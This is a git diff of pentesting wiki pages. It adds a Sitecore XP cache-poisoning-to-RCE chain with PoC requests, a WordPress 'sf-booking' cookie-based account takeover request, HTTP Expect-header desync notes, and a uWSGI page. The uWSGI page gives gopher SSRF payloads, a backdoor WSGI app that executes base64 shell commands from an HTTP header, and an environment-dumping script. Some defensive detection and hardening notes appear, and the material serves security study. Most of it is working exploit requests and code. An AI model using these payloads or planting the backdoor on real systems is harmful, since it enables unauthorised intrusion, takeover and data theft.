||||
|
||||
This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a pre‑auth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.
|
||||
|
||||
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
|
||||
- Fixed in: KB1003667, KB1003734 (June/July 2025)
|
||||
|
||||
See also:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/cache-deception/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
Entrypoint is the pre‑auth XAML handler registered in web.config:
|
||||
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
|
||||
Accessible via:
|
||||
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
|
||||
The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:
|
||||
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
|
||||
...
|
||||
Dispatch(clientId, text);
|
||||
|
||||
// eventually → DispatchMethod(control, parameters)
|
||||
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
|
||||
if (m != null) m.Invoke(this, e.Parameters);
|
||||
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
|
||||
Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.
|
||||
|
||||
Magic method for poisoning:
|
||||
|
||||
```csharp
|
||||
// Sitecore.Web.UI.WebControl
|
||||
protected virtual void AddToCache(string cacheKey, string html) {
|
||||
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
|
||||
Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.
|
||||
|
||||
### PoC request (CVE-2025-53693)
|
||||
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
|
||||
Notes:
|
||||
- __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
|
||||
- __PARAMETERS format is Method("arg1","arg2").
|
||||
|
||||
## What to poison: Cache key construction
|
||||
|
||||
Typical HtmlCache key construction used by Sitecore controls:
|
||||
|
||||
```csharp
|
||||
public virtual string GetCacheKey(){
|
||||
SiteContext site = Sitecore.Context.Site;
|
||||
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
|
||||
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
|
||||
if (key.Length > 0){
|
||||
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
|
||||
if (this.VaryByData) k += ResolveDataKeyPart();
|
||||
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
|
||||
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
|
||||
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
|
||||
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
|
||||
if (this.VaryByQueryString && site?.Request != null)
|
||||
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
|
||||
if (this.ClearOnIndexUpdate) k += "_#index";
|
||||
return k;
|
||||
}
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
```
|
||||
|
||||
Example targeted poisoning for a known sublayout:
|
||||
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
|
||||
## Enumerating cacheable items and “vary by” dimensions
|
||||
|
||||
If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.
|
||||
|
||||
Quick probe:
|
||||
|
||||
```
|
||||
GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
|
||||
List cacheable items and flags:
|
||||
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
|
||||
Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:
|
||||
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
|
||||
```
|
||||
|
||||
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
|
||||
|
||||
Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:
|
||||
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
→ "TotalCount": 2
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
|
||||
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
|
||||
|
||||
Sink:
|
||||
|
||||
```csharp
|
||||
// Sitecore.Convert
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
|
||||
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
|
||||
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
|
||||
Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:
|
||||
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
|
||||
// 2) Load malicious HTML into EditHtml session (XAML event)
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc" value="poc"></iframe>
|
||||
<test id="test_inner" value="BASE64_GADGET"></test>
|
||||
</html>
|
||||
|
||||
// 3) Server returns a session handle (hdl) for FixHtml
|
||||
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
|
||||
|
||||
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
|
||||
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
{{#endref}}
|
||||
|
||||
## Complete chain
|
||||
|
||||
1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
|
||||
2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
|
||||
3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
|
||||
|
||||
## Detection
|
||||
|
||||
- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
|
||||
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
|
||||
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
|
||||
|
||||
## Hardening
|
||||
|
||||
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
|
||||
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
|
||||
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
|
||||
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
|
||||
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -54,6 +54,24 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## The Expect header
|
||||
|
||||
It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header.
|
||||
|
||||
Interesting results of `Expect: 100-continue`:
|
||||
- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out.
|
||||
- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values.
|
||||
- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request.
|
||||
- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync.
|
||||
- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one...
|
||||
|
||||
For more info about HTTP Request Smuggling check:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Cache Headers
|
||||
|
||||
**Server Cache Headers**:
|
||||
|
@ -608,6 +608,59 @@ add_action( 'profile_update', function( $user_id ) {
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
|
||||
|
||||
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
|
||||
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
|
||||
Why it’s exploitable
|
||||
|
||||
- Public `init` hook makes the handler reachable by unauthenticated users (no `is_user_logged_in()` guard).
|
||||
- Identity is derived from a client-modifiable cookie (`original_user_id`).
|
||||
- Direct call to `wp_set_auth_cookie($uid)` logs the requester in as that user without any capability/nonce checks.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
|
||||
@ -722,5 +775,7 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
179
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
179
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
@ -0,0 +1,179 @@
|
||||
# WSGI Post-Exploitation Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WSGI Overview
|
||||
|
||||
Web Server Gateway Interface (WSGI) is a specification that describes how a web server communicates with web applications, and how web applications can be chained together to process one request. uWSGI is one of the most popular WSGI servers, often used to serve Python web applications.
|
||||
|
||||
## uWSGI Magic Variables Exploitation
|
||||
|
||||
uWSGI provides special "magic variables" that can be used to dynamically configure the server behavior. These variables can be set through HTTP headers and may lead to serious security vulnerabilities when not properly validated.
|
||||
|
||||
### Key Exploitable Variables
|
||||
|
||||
#### `UWSGI_FILE` - Arbitrary File Execution
|
||||
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /path/to/python/file.py;
|
||||
```
|
||||
This variable allows loading and executing arbitrary Python files as WSGI applications. If an attacker can control this parameter, they can achieve Remote Code Execution (RCE).
|
||||
|
||||
#### `UWSGI_SCRIPT` - Script Loading
|
||||
```
|
||||
uwsgi_param UWSGI_SCRIPT module.path:callable;
|
||||
uwsgi_param SCRIPT_NAME /endpoint;
|
||||
```
|
||||
Loads a specified script as a new application. Combined with file upload or write capabilities, this can lead to RCE.
|
||||
|
||||
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dynamic Module Loading
|
||||
```
|
||||
uwsgi_param UWSGI_MODULE malicious.module;
|
||||
uwsgi_param UWSGI_CALLABLE evil_function;
|
||||
uwsgi_param SCRIPT_NAME /backdoor;
|
||||
```
|
||||
These parameters allow loading arbitrary Python modules and calling specific functions within them.
|
||||
|
||||
#### `UWSGI_SETENV` - Environment Variable Manipulation
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
|
||||
```
|
||||
Can be used to modify environment variables, potentially affecting application behavior or loading malicious configuration.
|
||||
|
||||
#### `UWSGI_PYHOME` - Python Environment Manipulation
|
||||
```
|
||||
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
|
||||
```
|
||||
Changes the Python virtual environment, potentially loading malicious packages or different Python interpreters.
|
||||
|
||||
#### `UWSGI_CHDIR` - Directory Traversal
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
```
|
||||
Changes the working directory before processing requests, which can be used for path traversal attacks.
|
||||
|
||||
## SSRF + Gopher to
|
||||
|
||||
### The Attack Vector
|
||||
|
||||
When uWSGI is accessible through SSRF (Server-Side Request Forgery), attackers can interact with the internal uWSGI socket to exploit magic variables. This is particularly dangerous when:
|
||||
|
||||
1. The application has SSRF vulnerabilities
|
||||
2. uWSGI is running on an internal port/socket
|
||||
3. The application doesn't properly validate magic variables
|
||||
|
||||
uWSGI is accessible due to SSRF because the config file `uwsgi.ini` contains: `socket = 127.0.0.1:5000` making it accessible from the web application through SSRF.
|
||||
|
||||
### Exploitation Example
|
||||
|
||||
#### Step 1: Create Malicious Payload
|
||||
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
|
||||
```python
|
||||
# Payload injected into a JSON profile file
|
||||
import os
|
||||
os.system("/readflag > /app/profiles/result.json")
|
||||
```
|
||||
|
||||
#### Step 2: Craft uWSGI Protocol Request
|
||||
Use Gopher protocol to send raw uWSGI packets:
|
||||
```
|
||||
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
|
||||
```
|
||||
|
||||
This payload:
|
||||
- Connects to uWSGI on port 5000
|
||||
- Sets `UWSGI_FILE` to point to the malicious file
|
||||
- Forces uWSGI to load and execute the Python code
|
||||
|
||||
### uWSGI Protocol Structure
|
||||
|
||||
The uWSGI protocol uses a binary format where:
|
||||
- Variables are encoded as length-prefixed strings
|
||||
- Each variable has: `[name_length][name][value_length][value]`
|
||||
- The packet starts with a header containing the total size
|
||||
|
||||
## Post-Exploitation Techniques
|
||||
|
||||
### 1. Persistent Backdoors
|
||||
|
||||
#### File-based Backdoor
|
||||
```python
|
||||
# backdoor.py
|
||||
import subprocess
|
||||
import base64
|
||||
|
||||
def application(environ, start_response):
|
||||
cmd = environ.get('HTTP_X_CMD', '')
|
||||
if cmd:
|
||||
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
|
||||
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
|
||||
else:
|
||||
response = "Backdoor active"
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'text/plain')])
|
||||
return [response.encode()]
|
||||
```
|
||||
|
||||
Then use `UWSGI_FILE` to load this backdoor:
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
|
||||
uwsgi_param SCRIPT_NAME /admin;
|
||||
```
|
||||
|
||||
#### Environment-based Persistence
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
|
||||
```
|
||||
|
||||
### 2. Information Disclosure
|
||||
|
||||
#### Environment Variable Dumping
|
||||
```python
|
||||
# env_dump.py
|
||||
import os
|
||||
import json
|
||||
|
||||
def application(environ, start_response):
|
||||
env_data = {
|
||||
'os_environ': dict(os.environ),
|
||||
'wsgi_environ': dict(environ)
|
||||
}
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'application/json')])
|
||||
return [json.dumps(env_data, indent=2).encode()]
|
||||
```
|
||||
|
||||
#### File System Access
|
||||
Use `UWSGI_CHDIR` combined with file serving to access sensitive files:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
uwsgi_param UWSGI_FILE /app/file_server.py;
|
||||
```
|
||||
|
||||
### 3. Privilege Escalation
|
||||
|
||||
#### Socket Manipulation
|
||||
If uWSGI runs with elevated privileges, attackers might manipulate socket permissions:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /tmp;
|
||||
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
|
||||
```
|
||||
|
||||
#### Configuration Override
|
||||
```python
|
||||
# malicious_config.py
|
||||
import os
|
||||
|
||||
# Override uWSGI configuration
|
||||
os.environ['UWSGI_MASTER'] = '1'
|
||||
os.environ['UWSGI_PROCESSES'] = '1'
|
||||
os.environ['UWSGI_CHEAPER'] = '1'
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
|
||||
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
|
||||
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -214,6 +214,25 @@ Defenses:
|
||||
- Ensure WAF applies content inspection consistently to `.js` requests and static paths.
|
||||
- Set `HttpOnly` (and `Secure`, `SameSite`) on session cookies.
|
||||
|
||||
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
|
||||
|
||||
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed:
|
||||
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
|
||||
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
|
||||
|
||||
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Vulnerable Examples
|
||||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
@ -271,7 +290,7 @@ Another very clear example can be found in this write-up: [https://hackerone.com
|
||||
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
|
||||
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
|
||||
|
||||
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
|
||||
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type.
|
||||
|
||||
Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
@ -289,8 +308,7 @@ Learn here about how to perform[ Cache Deceptions attacks abusing HTTP Request S
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -54,11 +54,11 @@ Some examples from [**this post**](https://www.certik.com/resources/blog/web2-me
|
||||
|
||||
### Wasting Funds: Forcing backend to perform transactions
|
||||
|
||||
In the scenario **`Wasted Crypto in Gas via Unrestricted API`**, the attacke can force the backend to call functions of a smart contract that will consume gas. The attacker, just sending an ETH account number and with no limits, will force backend to call the smart contrat to register it, which will consume gas.
|
||||
In the scenario **`Wasted Crypto in Gas via Unrestricted API`**, the attacker can force the backend to call functions of a smart contract that will consume gas. The attacker, just sending an ETH account number and with no limits, will force backend to call the smart contract to register it, which will consume gas.
|
||||
|
||||
### DoS: Poor transaction handling time
|
||||
|
||||
In the scenario **`Poor Transaction Time Handling Leads to DoS`**, is explained that because the backend will the HTTP request open until a transaction is performed, a user can easly send several HTTP requests to the backend, which will consume all the resources of the backend and will lead to a DoS.
|
||||
In the scenario **`Poor Transaction Time Handling Leads to DoS`**, is explained that because the backend will the HTTP request open until a transaction is performed, a user can easily send several HTTP requests to the backend, which will consume all the resources of the backend and will lead to a DoS.
|
||||
|
||||
### Backend<-->Blockchain desync - Race condition
|
||||
|
||||
|
@ -143,7 +143,7 @@ namespace DeserializationTests
|
||||
Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:
|
||||
|
||||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
@ -236,12 +236,42 @@ The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||||
* Where possible migrate to **`System.Text.Json`** or **`DataContractJsonSerializer`** with whitelist-based converters.
|
||||
* Block dangerous WPF assemblies (`PresentationFramework`, `System.Workflow.*`) from being loaded in web processes that should never need them.
|
||||
|
||||
## Real‑world sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
A practical .NET sink reachable in authenticated Sitecore XP Content Editor flows:
|
||||
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` wraps `new BinaryFormatter().Deserialize(...)`.
|
||||
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, which searches for a sibling element with `id="{iframeId}_inner"` and reads a `value` attribute that is treated as base64‐encoded serialized data. The result is cast to string and inserted into the HTML.
|
||||
|
||||
Minimal end‑to‑end (authenticated):
|
||||
|
||||
```
|
||||
// Load HTML into EditHtml session
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc"></iframe>
|
||||
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
|
||||
</html>
|
||||
|
||||
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
|
||||
